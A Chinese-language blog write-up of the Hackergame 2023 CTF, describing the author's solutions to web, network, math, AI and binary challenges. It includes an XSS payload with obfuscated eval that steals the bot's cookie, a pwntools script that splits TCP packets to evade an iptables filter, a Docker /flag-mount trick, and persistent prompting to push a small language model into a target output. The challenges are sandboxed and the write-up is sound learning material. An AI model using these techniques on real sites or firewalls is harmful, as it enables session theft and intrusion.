Leohearts

拥有一颗坚强而又温柔的心 *version 1.1

cover

Hackergame 2023 Writeup

很久没有打CTF了了(ง •̀_•́)ง 老了,这次只在第三天打了一个晚上,刷到rk~60就没再打了。

排行榜上怎么这么多mcfx!

和以前的 Hackergame 一样,氛围好棒,反而没有那么多赛棍,这样的CTF好好玩!

Web

签到题:Hackergame 启动

同时点击 “开始录制” 和 “播放示例音频” 就好啦。Linux 又没有回声削除!

更深更暗

F12搜索Fla就好。

赛博井字棋

可以 override 对方的棋子,抓包修改即可。

组委会模拟器

出题人非常佛心,甚至给了source map,我选择使用 burp 在app.js中,foreach处理消息的那段代码里插入一行 匹配到就fetch 就好啦。

HTTP 集邮册

5 种状态码

很简单,对着文档随便收集一下就好啦。

返回首行无状态码的响应

GET /\r\n 突然就过了!后来才意识到是 HTTP/0.9

12 种状态码

绞尽脑汁也只找到 10 个,后来想到,对哦,我不是可以自动化嘛!

使用 Burp Intruder, 类似这样(请使用burp抓包后修改)

Host: x\r\n
$x$: 123\r\n
\r\n
aaa\r\n\r\n

然后添加列表:Http Headers, 就可以自动化了!

Screenshot_20231031_061735.webp

微积分计算小练习 2.0

一道 XSS 题目,题目中提示了可以弹出窗口,那肯定就是这样啦

先说xss点:


      function updateElement(selector, html) {
        document.querySelector(selector).innerHTML = html;
      }

      updateElement("#score", "你的得分是 <b>0</b> 分");
updateElement("#comment", "你留下的评论:3934253744");

提交评论部分会被引号包裹,禁用了 & > < ' ( ) [反引号] . , % 这些字符。

双引号没被过滤,所以可以使用 "+123+" 这样的payload实现访问变量,但是无法使用函数。所以,我们就只能在 window 里面找了。结合open,很容易想到 window.name

鉴于访问练习网站时会使用token自动登陆,所以payload也就这样传到自己的token所对应的页面上就好啦。

传入 "+name+" 即可。

下一步是,如何将结果传出?题目环境不与互联网连接,所以只能考虑将结果再次插入回评论中。又因为可能存在特殊字符,我们最好把它编码一下。

最终,我构造出的payload为:

<body><script>
let x= ()=>{
open("http://web/?token=[redacted]");
}
window.onload = x;

setInterval(x, 1000);
setTimeout(()=>{open("http://web/result?a=b%3C%3C", `<img src=x onerror="eval(atob('ZnVuY3Rpb24gdG9IZXgoc3RyLGhleCl7CiAgdHJ5ewogICAgaGV4ID0gdW5lc2NhcGUoZW5jb2RlVVJJQ29tcG9uZW50KHN0cikpCiAgICAuc3BsaXQoJycpLm1hcChmdW5jdGlvbih2KXsKICAgICAgcmV0dXJuIHYuY2hhckNvZGVBdCgwKS50b1N0cmluZygxNikKICAgIH0pLmpvaW4oJycpCiAgfQogIGNhdGNoKGUpewogICAgaGV4ID0gc3RyCiAgICBjb25zb2xlLmxvZygnaW52YWxpZCB0ZXh0IGlucHV0OiAnICsgc3RyKQogIH0KICByZXR1cm4gaGV4Cn0KbGV0IHggPSAoKT0+ewoKZG9jdW1lbnQucXVlcnlTZWxlY3RvcigidGV4dGFyZWEiKS52YWx1ZT10b0hleChkb2N1bWVudC5jb29raWUpLnNsaWNlKDAsMjApOwpkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCJidXR0b24iKS5jbGljaygpOwp9CnNldEludGVydmFsKHgsMTAwMCk='))""/>`)}, 2000)

</script></body>
EOF

Screenshot_20231031_072221.png.webp
Screenshot_20231031_072232.png.webp

这里被题目坑了很久,一直在让bot访问http://202.38.93.111:10052,打开附件才发现对方实际上访问的是 http://web/, 浪费了很多时间。(出题人!好歹在题目中说一下嘛!)

General

猫咪小测

  1. 想要借阅世界图书出版公司出版的《A Classical Introduction To Modern Number Theory 2nd ed.》,应当前往中国科学技术大学西区图书馆的哪一层?(30 分)
    提示:是一个非负整数。
    答案 12
  2. 今年 arXiv 网站的天体物理版块上有人发表了一篇关于「可观测宇宙中的鸡的密度上限」的论文,请问论文中作者计算出的鸡密度函数的上限为 10 的多少次方每立方秒差距?(30 分)
    提示:是一个非负整数。
    答案 23
  3. 为了支持 TCP BBR 拥塞控制算法,在编译 Linux 内核时应该配置好哪一条内核选项?(20 分)
    提示:输入格式为 CONFIG_XXXXX,如 CONFIG_SCHED_SMT。
    答案 CONFIG_TCP_CONG_BBR
  4. 🥒🥒🥒:「我……从没觉得写类型标注有意思过」。在一篇论文中,作者给出了能够让 Python 的类型检查器 MyPY mypy 陷入死循环的代码,并证明 Python 的类型检查和停机问题一样困难。请问这篇论文发表在今年的哪个学术会议上?(20 分)
    提示:会议的大写英文简称,比如 ISCA、CCS、ICML。
    答案 ECOOP

这道题是询问 Google Bard 得到的。

奶奶的睡前 flag 故事

尽管一开始就知道是哪个洞,但一开始对自己的速度过于自信,用 010 editor 手动修了半天,还是不行。后来还是老老实实去用工具了...

https://github.com/frankthetank-music/Acropalypse-Multi-Tool

Screenshot_20231029_201933.png.webp

这不就是 SSTV 嘛,群友可熟悉了!

Screenshot_20231031_072913.png.webp

JSON ⊂ YAML?

JSON ⊄ YAML 1.1

两者对于数字和unicode字符的处理都不一样,所以很容易过。

JSON ⊄ YAML 1.2

没有在网络上找到适合的资料,虽然换行那个可以触发错误,但是我们只能输入一行,试了一下\r在本地是可以通过的,但是webtty会强行转换成\r\n,即使用burp抓websocket包改掉也会被转换。

后来发现,YAML1.2不支持两个同样的键名,所以 {"":1, "":2} 就可以成功触发yaml1.2报错。

Git? Git!

哼,反正肯定在那一堆deflate的数据里就是了。

git.png.webp

Docker for Everyone

教你如何使用docker

本来还以为要用--privilleged逃逸出去,结果发现只是权限问题,把 /flag 挂载进docker容器里面,再用root读取就可以啦。

高频率星球

cat typescript | ansi2txt | col -b

然后手动批量替换一下某些特殊标记就好啦。‘

低带宽星球

小试牛刀

cwebp -z 9 image.png -o image2.webp

得到的文件只有168b,但是再往下压缩我就没有办法了....

Komm, süsser Flagge

我的 POST

由于我对 iptables 并不熟悉,这道题做起来对我难度还挺大的。
在网上查找资料得知, bm 算法无法正确处理不同包中的tcp, 所以只要分包一下就好了。

from pwn import *
from time import sleep

c = remote("202.38.93.111", 18080)
c.send(b'POS')
sleep(0.1)
c.send(b"T / HTTP/1.1\r\nHost:x\r\nContent-length:101\r\n\r\n[redacted]")
print(c.recv(1024))

我的 P

与第一题一样的问题,-A myTCP-2 -p tcp -m u32 --u32 "0 >> 22 & 0x3C @ 12 >> 26 @ 0 >> 24 = 0x50" -j REJECT --reject-with tcp-reset 这样去匹配也无法正确处理分包。

我的 GET

这道题就不会了,看 yuuta 的 writeup 好像是要用 tcp options 那几个字节。我有在用raw ip包做,但是一直收到rst,后来才知道是可能是内核检测到抽象的tcp包给我返回的...

Math

我不会数学,所以只能稍微看看————

惜字如金 2.0

我不会数学,我还不会爆破嘛!

#!/usr/bin/python3

# Th siz of th fil may reduc after XZRJification
import string


cod_dict = []
cod_dict += ['nymeh1niwemflcir}echaet']
cod_dict += ['a3g7}kidgojernoetlsup?h']
cod_dict += ['ulw!f5soadrhwnrsnstnoeq']
cod_dict += ['ct{l-findiehaai{oveatas']
cod_dict += ['ty9kxborszstguyd?!blm-p']
qwq = ""

def check_equals(left, right):
    # check whether left == right or not
    # print(left,right)
    if left != right: exit(1)

def get_cod_dict():
    # prepar th cod dict
    # check_equals(set(len(s) for s in cod_dict), {24})
    # return ''.join(cod_dict)
    return qwq

def decrypt_data(input_codes):
    # retriev th decrypted data
    _cod_dict = get_cod_dict()
    # print(_cod_dict)
    output_chars = [_cod_dict[c] for c in input_codes]
    return ''.join(output_chars)

if __name__ == '__main__':
    for j in range(23):
        c0 = cod_dict[0][:j] + cod_dict[0][j] + cod_dict[0][j:]
        for j in range(23):
            c1 = cod_dict[1][:j] + cod_dict[1][j] + cod_dict[1][j:]
            for j in range(23):
                c2 = cod_dict[2][:j] + cod_dict[2][j] + cod_dict[2][j:]

                for j in range(23):
                    c3 = cod_dict[3][:j] + cod_dict[3][j] + cod_dict[3][j:]

                    for j in range(23):
                        c4 = cod_dict[4][:j] + cod_dict[4][j] + cod_dict[4][j:]
                        qwq = c0+c1+c2+c3+c4


                        # check som obvious things
                        # check_equals('creat', 'cr' + 'at')
                        # check_equals('referer', 'refer' + 'rer')
                        # check th flag
                        flag = decrypt_data([53, 41, 85, 109, 75, 1, 33, 48, 77, 90,
                                            17, 118, 36, 25, 13, 89, 90, 3, 63, 25,
                                            31, 77, 27, 60, 3, 118, 24, 62, 54, 61,
                                            25, 63, 77, 36, 5, 32, 60, 67, 113, 28])
                        # check_equals(flag.index('flag{'), 0)
                        # check_equals(flag.index('}'), len(flag) - 1)
                        # print th flag


                        if flag.startswith("flag{") and flag.endswith("}"): print(flag)

暴力出奇迹!(诶?今年是几几年?

剩下的数学题是真的不会了。

AI

小型大语言模型星球

You Are Smart

持续对它洗脑就可以了。

Screenshot_20231031_042624.png.webp

Accepted

我不会 AI,我还不会爆破嘛!

Screenshot_20231031_213939.png.webp

剩下两个,一个要输出 hackergame ,一个要输出 emoji ,可能是要用逆推之类的方法了?不太懂 AI 。

Bianry

二进制,头大...

为什么要打开 /flag 😡

LD_PRELOAD

-static -static-libgcc

只会这个了😭